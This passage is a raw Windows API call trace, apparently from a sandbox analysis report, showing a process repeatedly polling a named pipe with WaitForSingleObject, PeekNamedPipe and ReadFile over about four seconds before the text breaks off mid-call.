[0078.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.402] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0078.402] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0078.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.437] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.437] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.474] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0078.474] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0078.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.514] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.561] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0078.561] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x99, lpOverlapped=0x0) returned 1 [0078.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.594] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.594] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.622] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0078.622] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa0, lpOverlapped=0x0) returned 1 [0078.622] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.657] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.658] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.688] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0078.688] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0078.688] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.722] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.722] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.747] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0078.747] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0078.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.804] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0078.804] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0078.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.861] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x40, lpBytesLeftThisMessage=0x0) returned 1 [0078.861] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x40, lpOverlapped=0x0) returned 1 [0078.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.908] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0078.908] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0078.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.944] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.944] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0078.972] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0078.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.033] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3e, lpBytesLeftThisMessage=0x0) returned 1 [0079.033] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3e, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3e, lpOverlapped=0x0) returned 1 [0079.033] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.081] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa8, lpBytesLeftThisMessage=0x0) returned 1 [0079.081] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa8, lpOverlapped=0x0) returned 1 [0079.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.119] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.119] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.155] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0079.155] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0079.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.188] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.189] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.230] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0079.230] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9c, lpOverlapped=0x0) returned 1 [0079.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.267] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.303] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9b, lpBytesLeftThisMessage=0x0) returned 1 [0079.303] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9b, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9b, lpOverlapped=0x0) returned 1 [0079.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.338] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.338] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.363] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0079.363] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0079.364] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.397] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.427] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0079.427] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9c, lpOverlapped=0x0) returned 1 [0079.427] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.464] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.488] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0079.489] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0079.489] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.522] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.553] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0079.553] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0079.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.581] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3d, lpBytesLeftThisMessage=0x0) returned 1 [0079.581] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3d, lpOverlapped=0x0) returned 1 [0079.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.624] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.624] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0079.642] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0079.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.672] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x50, lpBytesLeftThisMessage=0x0) returned 1 [0079.672] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x50, lpOverlapped=0x0) returned 1 [0079.672] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0079.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.806] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.829] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.829] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.866] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x77, lpBytesLeftThisMessage=0x0) returned 1 [0080.905] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x77, lpOverlapped=0x0) returned 1 [0080.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.942] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0080.993] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.011] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.060] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.109] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.109] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.152] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.152] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.175] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.175] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.484] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.484] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0081.599] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.599] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.045] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.269] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.269] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.331] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, 